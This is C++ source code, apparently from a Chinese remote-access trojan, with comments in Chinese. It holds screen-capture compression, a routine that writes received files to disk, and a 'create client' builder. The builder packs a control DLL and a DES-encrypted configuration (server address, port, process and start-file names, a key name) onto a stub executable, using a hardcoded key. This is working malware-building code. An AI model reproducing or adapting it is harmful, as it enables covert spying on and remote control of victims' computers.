void CGetScreenInfo::GetDataSource(BYTE** pBuff, DWORD* pdwLen, BYTE** pBuffLzw, DWORD* pdwLenLzw) { LockData(); DWORD dwRLzwLen = 0; if(pBuff) *pBuff = m_ScreenData.pScreenData; if(pdwLen) *pdwLen = m_ScreenData.dwBufLen; if(pBuffLzw) { if(m_ScreenData.dwBufLen > m_ScreenDataLzw.dwBufLen) { if(m_ScreenDataLzw.pScreenData != NULL) delete m_ScreenDataLzw.pScreenData; m_ScreenDataLzw.pScreenData = new BYTE[m_ScreenData.dwBufLen]; if( !m_ScreenDataLzw.pScreenData ) { m_ScreenDataLzw.dwBufLen = 0; return ; } } m_ScreenDataLzw.dwBufLen = m_ScreenData.dwBufLen; //压缩 FCLzw lzw; memset(m_ScreenDataLzw.pScreenData, 0, m_ScreenData.dwBufLen); dwRLzwLen = lzw.LZW_Encode(m_ScreenData.pScreenData, m_ScreenData.dwBufLen, m_ScreenDataLzw.pScreenData, m_pHash); *pBuffLzw = m_ScreenDataLzw.pScreenData; } if(pdwLenLzw) *pdwLenLzw = dwRLzwLen; }
BOOL CPcStatApp::DeCodeFile(char* pFileData , char* pFileName , DWORD FileLen) { //打开文件 FILE *fp = fopen(pFileName,"wb"); if(fp == NULL) return FALSE; //解码 BYTE* pDest = new BYTE[FileLen + 1024]; FCLzw lzw ; lzw.LZW_Decode ((BYTE*) pFileData, pDest) ; //写文件 fwrite(pDest , FileLen , 1 , fp); fclose(fp); delete [] pDest; return TRUE; }
void LZW_Decode(BYTE* lzwBuf, BYTE* pOldScreenBuf) { FCLzw lzw; lzw.LZW_Decode(lzwBuf, pOldScreenBuf); }
void CMyCreateClientDlg::OnButtonCreate() { char m_IniFileName[256] = {0}; GetIniFileName(m_IniFileName); WritePrivateProfileString("设置","控制DLL文件", m_CtrlFile,m_IniFileName); if(!m_BakUrl.IsEmpty()) WritePrivateProfileString("设置","备份URL名称", m_BakUrl,m_IniFileName); //取目标文件名称 CString szFilter = "可执行文件(*.exe)|*.exe|"; CFileDialog m_filedialog(FALSE,NULL,"Ps.exe", OFN_HIDEREADONLY | OFN_OVERWRITEPROMPT,szFilter,this); if(m_filedialog.DoModal() != IDOK) return; m_StartFile = m_filedialog.GetFileName(); CString strFilePath = m_filedialog.GetPathName(); //取EXE文件和DLL文件名称 char m_ExeFileName[512] = "PcStat.exe"; GetMyFilePath(m_ExeFileName); char m_DllFileName[512] = "PcClient.dll"; GetMyFilePath(m_DllFileName); BYTE* pExeFileData = NULL; BYTE* pDllFileData = NULL; DWORD m_ExeSize = 0; DWORD m_DllSize = 0; //取EXE文件数据 CFile m_File; if(!m_File.Open(m_ExeFileName,CFile::modeRead)) { MessageBox("缺少文件pcstat.exe","错误"); return; } m_ExeSize = m_File.GetLength(); pExeFileData = new BYTE[m_ExeSize]; m_File.Read(pExeFileData,m_ExeSize); m_File.Close(); //取DLL文件数据 if(!m_File.Open(m_DllFileName,CFile::modeRead)) { delete [] pExeFileData; MessageBox("缺少文件pcclient.dll","错误"); return; } m_DllSize = m_File.GetLength(); pDllFileData = new BYTE[m_DllSize]; m_File.Read(pDllFileData,m_DllSize); m_File.Close(); //压缩数据 BYTE* pDest = new BYTE[m_DllSize * 2]; memset(pDest , 0 , m_DllSize * 2); BYTE* pSrc = pDllFileData; BYTE* pCurr = pDest; //生成的文件的结构: //pcstat.exe文件内容 pcclient.dll内容 SSH 压缩前dll大小 生成的用户名 压缩后的的PcClient.dll内容 加密后的启动内容 //写头 ::lstrcpyA ((char*)pDest, "SSH") ; pCurr += 8 ; * (WORD *) pCurr = 16 ; pCurr += 2 ; * (WORD *) pCurr = 0 ; pCurr += 2 ; * (DWORD *) pCurr = m_DllSize ; pCurr += 4 ; pCurr += 8 ; // 文件名 * (WORD *) pCurr = ::lstrlen (m_StartFile) ; ::lstrcpy ((char *) pCurr+2, m_StartFile) ; pCurr += * (WORD *) pCurr + 2 ; //压缩 DWORD dwCounter = ::GetTickCount () ; FCLzw fLzw ; pCurr += fLzw.LZW_Encode (pSrc, m_DllSize, pCurr) ; dwCounter = ::GetTickCount () - dwCounter ; * (DWORD *) &pDest[16] = dwCounter ; //启动信息 INITDLLINFO m_InitInfo = {0}; m_IpList.GetWindowText(m_InitInfo.m_ServerAddr,50); strcpy(m_InitInfo.m_CtrlFile,m_CtrlFile); m_InitInfo.m_ProcessName[0] = m_Proc; strcpy(m_InitInfo.m_StartFile,m_StartFile); m_InitInfo.m_StartFile[m_StartFile.GetLength() - 4] = 0; strcpy(m_InitInfo.m_KeyName,m_InitInfo.m_StartFile); m_InitInfo.m_KeyName[m_StartFile.GetLength() - 1] = 0; strcat(m_InitInfo.m_StartFile, ".dll"); m_InitInfo.m_ServerPort = (WORD) (atoi((LPCTSTR) m_Port)); m_InitInfo.m_DllFileLen = pCurr - pDest; //DES加密信息 INITDLLINFO m_InitFileInfo = {0}; char m_DesKey[9] = "\x10\x20\x17\x10\x09\x55\x11\xeb"; Des_Go((char*) &m_InitFileInfo, (char*) &m_InitInfo, sizeof(INITDLLINFO), m_DesKey, 8, ENCRYPT_);//加密 //创建目标文件 //m_StartFile.Insert(0, _T("e:\\")); if(!m_File.Open(strFilePath, CFile::modeCreate|CFile::modeWrite)) { delete [] pExeFileData; delete [] pDllFileData; delete [] pDest; MessageBox("无法创建文件",m_StartFile.GetString()); return; } m_File.Write(pExeFileData,m_ExeSize); m_File.Write(pDest,m_InitInfo.m_DllFileLen); m_File.Write(&m_InitFileInfo,sizeof(INITDLLINFO)); m_File.Close(); delete [] pExeFileData; delete [] pDllFileData; delete [] pDest; MessageBox("生成客户端成功", "提示"); }